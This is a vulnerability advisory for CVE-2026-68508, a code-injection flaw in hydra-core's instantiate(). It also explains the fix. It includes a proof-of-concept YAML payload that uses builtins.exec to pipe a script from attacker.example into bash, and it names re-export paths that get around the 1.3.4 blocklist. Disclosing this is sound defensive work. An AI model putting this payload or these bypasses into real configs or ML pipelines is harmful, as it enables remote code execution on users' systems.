high · 7.8CVE-2026-68508Aug 21, 2026

CVE-2026-68508: hydra-core Unsafe Instantiation Code Injection

Rohit Hatagale
AI Security Researcher, SecureLayer7

Passing untrusted configuration to hydra.utils.instantiate() lets an attacker pick any Python callable as the target and supply its arguments, resulting in arbitrary code execution inside the…

Packagehydra-core
Ecosystempip
Affected<= 1.3.3
Fixed in1.3.4
CVE-2026-68508: hydra-core Unsafe Instantiation Code Injection

The problem

hydra.utils.instantiate() resolves a dotted Python path from the _target_ key in a config dict and calls it with the remaining keys as arguments. No restriction exists on which callables are allowed, so an attacker who controls any part of that config can point _target_ at os.system, builtins.exec, or any other dangerous callable.

This matters most in AI/ML pipelines where libraries load model metadata from Hugging Face or other external sources and feed it directly into instantiate(). A poisoned .nemo, .yaml, or config.json file triggers execution the moment the model is loaded, with no pickle or network service required.

Proof of concept

A working proof-of-concept for CVE-2026-68508 in hydra-core, with the exact payload below.

yaml
# Malicious model_config.yaml (e.g. inside a .nemo archive or HuggingFace repo)
_target_: builtins.exec
_args_:
  - "import os; os.system('curl http://attacker.example/shell.sh|bash')"

hydra.utils.instantiate() uses importlib to resolve whatever string is in _target_, then calls the resulting object with the provided args and kwargs. There is no allowlist: any importable callable works. The 1.3.4 blacklist compares the raw _target_ string against a hardcoded set of dangerous names (builtins.exec, builtins.eval, os.system, etc.) before import.

It is trivially bypassed by using an implicit re-export path such as enum.bltns.eval or a library-rooted attribute chain like nemo.core.classes.common.os.system, because those strings do not appear in the blocklist even though they resolve to the same dangerous functions.

The root CWEs are CWE-94 (Code Injection) and CWE-470 (Unsafe Reflection). The real fix, landing in Hydra 1.4, replaces the blocklist with an allowlist that must come from trusted application code, not from the config being instantiated.

The fix

Upgrade hydra-core to 1.3.4 for the defense-in-depth blocklist, or migrate to 1.4+ and use the target_whitelist() allowlist API to explicitly permit only the callables your application needs. Never pass externally sourced config, model metadata, or CLI overrides directly to instantiate() without first validating _target_ against a trusted allowlist in your own code.

Reported by Curtis Carmony (Palo Alto Networks Unit 42).

References: [1][2][3][4][5][6]

Related research